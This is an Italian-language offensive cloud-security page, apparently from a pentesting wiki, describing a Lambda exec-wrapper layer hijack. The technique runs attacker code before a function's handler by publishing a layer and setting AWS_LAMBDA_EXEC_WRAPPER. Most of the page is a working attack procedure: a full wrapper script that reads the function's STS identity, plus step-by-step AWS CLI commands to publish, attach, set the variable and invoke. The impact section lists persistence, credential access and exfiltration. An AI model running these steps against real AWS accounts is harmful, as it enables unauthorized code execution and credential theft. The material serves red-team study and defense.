# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)

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## Sommario

Abusa della variabile d'ambiente `AWS_LAMBDA_EXEC_WRAPPER` per eseguire uno script wrapper controllato dall'attaccante prima dell'avvio del runtime/handler. Distribuisci il wrapper tramite un Lambda Layer in `/opt/bin/htwrap`, imposta `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, e poi invoca la funzione. Il wrapper viene eseguito all'interno del processo del runtime della funzione, eredita il role di esecuzione della funzione e infine esegue con `exec` il runtime reale in modo che l'handler originale venga eseguito normalmente.

> [!WARNING]
> Questa tecnica concede esecuzione di codice nella Lambda target senza modificare il suo codice sorgente o il role e senza necessitare di `iam:PassRole`. Hai solo bisogno della possibilità di aggiornare la configurazione della funzione e pubblicare/allegare un layer.

## Permessi richiesti (attaccante)

- `lambda:UpdateFunctionConfiguration`
- `lambda:GetFunctionConfiguration`
- `lambda:InvokeFunction` (o attivare tramite un evento esistente)
- `lambda:ListFunctions`, `lambda:ListLayers`
- `lambda:PublishLayerVersion` (stesso account) e opzionalmente `lambda:AddLayerVersionPermission` se si usa un layer cross-account/pubblico

## Wrapper Script

Posiziona il wrapper in `/opt/bin/htwrap` nel layer. Può eseguire logica pre-handler e deve terminare con `exec "$@"` per concatenarsi al runtime reale.
```bash
#!/bin/bash
set -euo pipefail
# Pre-handler actions (runs in runtime process context)
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json, os
try:
ident = boto3.client('sts').get_caller_identity()
print('[ht] sts identity:', json.dumps(ident))
except Exception as e:
print('[ht] sts error:', e)
PY
# Chain to the real runtime
exec "$@"
```
## Passaggi dell'attacco (CLI)

<details>
<summary>Pubblica layer, allega alla funzione target, imposta wrapper, invoca</summary>
```bash
# Vars
REGION=us-east-1
TARGET_FN=<target-lambda-name>

# 1) Package wrapper at /opt/bin/htwrap
mkdir -p layer/bin
cat > layer/bin/htwrap <<'WRAP'
#!/bin/bash
set -euo pipefail
echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
python3 - <<'PY'
import boto3, json
print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
PY
exec "$@"
WRAP
chmod +x layer/bin/htwrap
(zip -qr htwrap-layer.zip layer)

# 2) Publish the layer
LAYER_ARN=$(aws lambda publish-layer-version \
--layer-name ht-exec-wrapper \
--zip-file fileb://htwrap-layer.zip \
--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
--query LayerVersionArn --output text --region "$REGION")

echo "$LAYER_ARN"

# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
aws lambda update-function-configuration \
--function-name "$TARGET_FN" \
--layers "$LAYER_ARN" \
--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
--region "$REGION"

# Wait for update to finish
until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done

# 4) Invoke and verify via CloudWatch Logs
aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
```
</details>

## Impatto

- Esecuzione di codice pre-handler nel contesto del runtime Lambda utilizzando l'execution role esistente della function.
- Non richiede modifiche al function code o al role; funziona su managed runtimes comuni (Python, Node.js, Java, .NET).
- Consente persistence, credential access (es. STS), data exfiltration e runtime tampering prima che l'handler venga eseguito.

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